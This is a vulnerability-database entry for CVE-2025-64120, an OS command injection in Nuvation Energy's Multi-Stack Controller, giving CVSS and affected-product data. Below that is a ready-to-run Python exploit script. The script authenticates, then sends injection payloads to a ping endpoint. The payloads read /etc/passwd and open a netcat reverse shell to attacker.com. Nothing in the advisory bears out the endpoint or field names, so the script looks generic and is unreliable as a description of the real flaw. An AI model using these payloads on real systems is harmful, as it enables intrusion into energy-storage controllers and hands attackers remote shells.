Security Vulnerability Report
中文
CVE-2025-64120 CVSS 8.8 HIGH

CVE-2025-64120

Published: 2026-01-02 22:15:44
Last Modified: 2026-02-26 19:58:19

Description

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nuvation Energy Multi-Stack Controller (MSC) >= 2.3.8 and < 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64120 PoC - Nuvation Energy MSC OS Command Injection # Target: Nuvation Energy Multi-Stack Controller (MSC) # Version: 2.3.8 <= version < 2.5.1 import requests import sys def exploit_cve_2025_64120(target_url, username, password): """ Exploit OS Command Injection in Nuvation Energy MSC """ # Authentication login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: session = requests.Session() login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Authentication successful") # OS Command Injection payload cmd_injection_url = f"{target_url}/api/system/ping" payloads = [ "; whoami", "| cat /etc/passwd", "&& id", "; ls -la /", "| nc -e /bin/sh attacker.com 4444" ] for payload in payloads: inject_data = { "host": f"127.0.0.1{payload}", "count": "1" } response = session.post(cmd_injection_url, json=inject_data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_64120(target, user, pwd)

References

Raw JSON Data

JSON
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